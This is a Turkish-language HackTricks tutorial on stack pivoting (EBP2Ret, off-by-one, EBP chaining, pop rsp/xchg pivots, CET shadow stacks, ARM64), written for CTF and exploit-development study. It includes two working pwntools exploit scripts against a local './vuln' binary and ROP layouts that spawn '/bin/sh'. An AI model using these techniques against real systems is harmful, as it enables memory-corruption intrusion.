Stack Pivoting - EBP2Ret - EBP chaining

Reading time: 11 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Temel Bilgiler

Bu teknik, Base Pointer (EBP/RBP)'yi manipüle etme yeteneğinden yararlanarak, çerçeve işaretçisinin dikkatli kullanımı ve leave; ret talimat dizisi aracılığıyla birden fazla işlevin yürütülmesini zincirleme işlemini gerçekleştirir.

Hatırlatmak gerekirse, x86/x86-64 üzerinde leave şuna eşdeğerdir:

mov       rsp, rbp   ; mov esp, ebp on x86
pop       rbp        ; pop ebp on x86
ret

Ve kaydedilmiş EBP/RBP yığın içinde kaydedilmiş EIP/RIP'ten önce olduğu için, yığını kontrol ederek bunu kontrol etmek mümkündür.

Notlar

  • 64-bit'te, EBP'yi RBP ile ve ESP'yi RSP ile değiştirin. Anlamlar aynıdır.
  • Bazı derleyiciler çerçeve işaretçisini atlar (bkz. “EBP kullanılmayabilir”). Bu durumda, leave görünmeyebilir ve bu teknik çalışmayacaktır.

EBP2Ret

Bu teknik, kaydedilmiş EBP/RBP'yi değiştirebildiğiniz ancak EIP/RIP'yi doğrudan değiştirme yolunuzun olmadığı durumlarda özellikle yararlıdır. Fonksiyon epilog davranışını kullanır.

Eğer fvuln'ın yürütülmesi sırasında, yığında shellcode/ROP zincir adresinizin bulunduğu bir bellek alanına işaret eden sahte bir EBP enjekte etmeyi başarırsanız (amd64 için 8 bayt / x86 için 4 bayt pop için), RIP'yi dolaylı olarak kontrol edebilirsiniz. Fonksiyon dönerken, leave RSP'yi oluşturulmuş konuma ayarlar ve sonraki pop rbp RSP'yi azaltır, etkili bir şekilde orada saldırgan tarafından saklanan bir adrese işaret eder. Ardından ret bu adresi kullanacaktır.

İki adresi bilmeniz gerektiğine dikkat edin: ESP/RSP'nin gideceği adres ve ret'in tüketeceği o adreste saklanan değer.

Exploit Yapısı

Öncelikle, rastgele veri/adres yazabileceğiniz bir adresi bilmeniz gerekir. RSP buraya işaret edecek ve ilk ret'i tüketecektir.

Sonra, yürütmeyi aktaracak ret tarafından kullanılan adresi seçmeniz gerekir. Şunları kullanabilirsiniz:

  • Geçerli bir ONE_GADGET adresi.
  • system() adresi, ardından uygun dönüş ve argümanlar (x86'da: ret hedefi = &system, ardından 4 gereksiz bayt, sonra &"/bin/sh").
  • Inline shellcode ile birlikte bir jmp esp; gadget (ret2esp).
  • Yazılabilir bellek içinde aşamalı bir ROP zinciri.

Bu adreslerin kontrol edilen alandaki herhangi birinin önünde, leave'den gelen pop ebp/rbp için yer olması gerektiğini unutmayın (amd64'de 8B, x86'da 4B). Bu baytları, ikinci sahte EBP ayarlamak ve ilk çağrı döndükten sonra kontrolü sürdürmek için kötüye kullanabilirsiniz.

Off-By-One Exploit

Sadece kaydedilmiş EBP/RBP'nin en az anlamlı baytını değiştirebildiğinizde kullanılan bir varyant vardır. Bu durumda, ret ile atlamak için adresi saklayan bellek konumu, orijinal EBP/RBP ile ilk üç/beş baytı paylaşmalıdır, böylece 1 baytlık bir yazma işlemi bunu yönlendirebilir. Genellikle düşük bayt (offset 0x00) mümkün olduğunca yakın bir sayfa/hizalanmış bölge içinde atlamak için artırılır.

Yığın içinde bir RET sled kullanmak ve gerçek ROP zincirini en sona koymak da yaygındır, böylece yeni RSP'nin sled içinde işaret etmesi ve son ROP zincirinin yürütülmesi olasılığı artar.

EBP Zincirleme

Yığın içinde kaydedilmiş EBP slotuna kontrol edilen bir adres yerleştirerek ve EIP/RIP içinde bir leave; ret gadget'ı ile, ESP/RSP'yi saldırgan kontrolündeki bir adrese taşımak mümkündür.

Artık RSP kontrol altında ve bir sonraki talimat ret. Kontrol edilen belleğe şunları yerleştirin:

  • &(next fake EBP) -> leave'den pop ebp/rbp ile yüklendi.
  • &system() -> ret ile çağrıldı.
  • &(leave;ret) -> system sona erdikten sonra RSP'yi bir sonraki sahte EBP'ye taşır ve devam eder.
  • &("/bin/sh") -> system için argüman.

Bu şekilde, programın akışını kontrol etmek için birkaç sahte EBP'yi zincirlemek mümkündür.

Bu, bir ret2lib gibidir, ancak daha karmaşık ve yalnızca kenar durumlarında yararlıdır.

Ayrıca, bu tekniği kullanan bir challenge örneği var ve bu, kazanan bir fonksiyonu çağırmak için bir yığın sızıntısı kullanır. Bu sayfanın son yükü:

python
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (reach saved RBP)

payload += flat(
buffer,         # Load leaked address in RBP
LEAVE_RET       # Use leave to move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

amd64 hizalama ipucu: System V ABI, çağrı noktalarında 16 baytlık yığın hizalaması gerektirir. Eğer zinciriniz system gibi fonksiyonları çağırıyorsa, hizalamayı korumak ve movaps çöküşlerini önlemek için çağrıdan önce bir hizalama aparatı ekleyin (örneğin, ret veya sub rsp, 8 ; ret).

EBP kullanılmayabilir

bu yazıda açıklandığı gibi, eğer bir ikili bazı optimizasyonlarla veya çerçeve işaretçisi hariç tutulmuş olarak derlenmişse, EBP/RBP asla ESP/RSP'yi kontrol etmez. Bu nedenle, EBP/RBP'yi kontrol ederek çalışan herhangi bir istismar başarısız olacaktır çünkü prolog/epilog çerçeve işaretçisinden geri yükleme yapmaz.

  • Optimize edilmemiş / çerçeve işaretçisi kullanıldı:
bash
push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • Optimize edilmiş / çerçeve işaretçisi atlandı:
bash
push   %ebx         # save callee-saved register
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore
ret                 # return

On amd64 genellikle pop rbp ; ret yerine leave ; ret görürsünüz, ancak çerçeve işaretçisi tamamen atlandığında, geçiş yapmak için rbp tabanlı bir epilog yoktur.

RSP'yi kontrol etmenin diğer yolları

pop rsp gadget

Bu sayfada bu tekniği kullanan bir örnek bulabilirsiniz. Bu zorluk için 2 belirli argümanla bir fonksiyon çağrılması gerekiyordu ve bir pop rsp gadget vardı ve stack'ten bir leak vardı:

python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg , rsp gadget

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

ret2esp tekniğini burada kontrol edin:

Ret2esp / Ret2reg

Pivot gadget'larını hızlı bulma

Klasik pivot primitive'leri aramak için favori gadget bulucunuzu kullanın:

  • leave ; ret fonksiyonlarda veya kütüphanelerde
  • pop rsp / xchg rax, rsp ; ret
  • add rsp, <imm> ; ret (veya x86'da add esp, <imm> ; ret)

Örnekler:

bash
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"

# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"

Klasik pivot sahneleme deseni

Birçok CTF'de/sömürüde kullanılan sağlam bir pivot stratejisi:

  1. read/recv çağrısı yapmak için küçük bir başlangıç taşmasını kullanın ve büyük yazılabilir bir alana (örneğin, .bss, heap veya haritalanmış RW bellek) tam bir ROP zinciri yerleştirin.
  2. RSP'yi o bölgeye taşımak için bir pivot gadget'ına (leave ; ret, pop rsp, xchg rax, rsp ; ret) geri dönün.
  3. Sahneleme zincirine devam edin (örneğin, libc'yi sızdırın, mprotect çağrısı yapın, ardından shellcode'u read edin, sonra ona atlayın).

Yığın pivotlamayı kıran modern önlemler (CET/Gölge Yığın)

Modern x86 CPU'ları ve işletim sistemleri giderek daha fazla CET Gölge Yığın (SHSTK) kullanmaktadır. SHSTK etkinleştirildiğinde, ret normal yığındaki dönüş adresini donanım korumalı gölge yığın ile karşılaştırır; herhangi bir uyumsuzluk, bir Kontrol-Koruma hatası oluşturur ve süreci sonlandırır. Bu nedenle, EBP2Ret/leave;ret tabanlı pivotlar, pivotlanmış bir yığından ilk ret çalıştırıldığında çökme yaşar.

  • Arka plan ve daha derin detaylar için bakınız:

CET & Shadow Stack

  • Linux'ta hızlı kontroller:
bash
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'

# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo

# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status   # expect: shstk (and possibly wrss)

# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
  • Laboratuvarlar/CTF için notlar:

  • Bazı modern dağıtımlar, donanım ve glibc desteği mevcut olduğunda CET etkinleştirilmiş ikili dosyalar için SHSTK'yı etkinleştirir. VM'lerde kontrollü testler için, SHSTK sistem genelinde nousershstk çekirdek önyükleme parametresi ile devre dışı bırakılabilir veya başlangıçta glibc ayarları ile seçici olarak etkinleştirilebilir (bkz. referanslar). Üretim hedeflerinde önlemleri devre dışı bırakmayın.

  • JOP/COOP veya SROP tabanlı teknikler bazı hedeflerde hala geçerli olabilir, ancak SHSTK özellikle ret tabanlı pivotları kırar.

  • Windows notu: Windows 10+ kullanıcı modunu açar ve Windows 11, gölge yığınlar üzerine inşa edilmiş "Donanım destekli Yığın Koruması"nı ekler. CET uyumlu süreçler, ret'te yığın pivotlamayı/ROP'u engeller; geliştiriciler CETCOMPAT ve ilgili politikalar aracılığıyla katılır (bkz. referans).

ARM64

ARM64'te, fonksiyonların prologları ve epilogları SP kaydını yığında saklamaz ve geri almaz. Dahası, RET talimatı SP tarafından işaret edilen adrese dönmez, ancak x30 içindeki adrese döner.

Bu nedenle, varsayılan olarak, sadece epilogu kötüye kullanarak SP kaydını kontrol edemezsiniz yığın içindeki bazı verileri yazarak. Ve SP'yi kontrol etmeyi başarırsanız bile, x30 kaydını kontrol etmenin bir yoluna ihtiyacınız olacaktır.

  • prolog
armasm
sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP çerçeve kaydına işaret eder
  • epilog
armasm
ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret

caution

ARM64'te yığın pivotlamaya benzer bir şey gerçekleştirme yolu, SP'yi kontrol edebilmek (SP'ye geçirilen bir kaydı kontrol ederek veya bir nedenle SP'nin adresini yığından alması ve bir taşma yaşanması durumunda) ve ardından epilogu kötüye kullanarak kontrollü bir SP'den x30 kaydını yüklemek ve RET ile ona dönmektir.

Ayrıca, aşağıdaki sayfada Ret2esp'nin ARM64'teki eşdeğerini görebilirsiniz:

Ret2esp / Ret2reg

Referanslar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin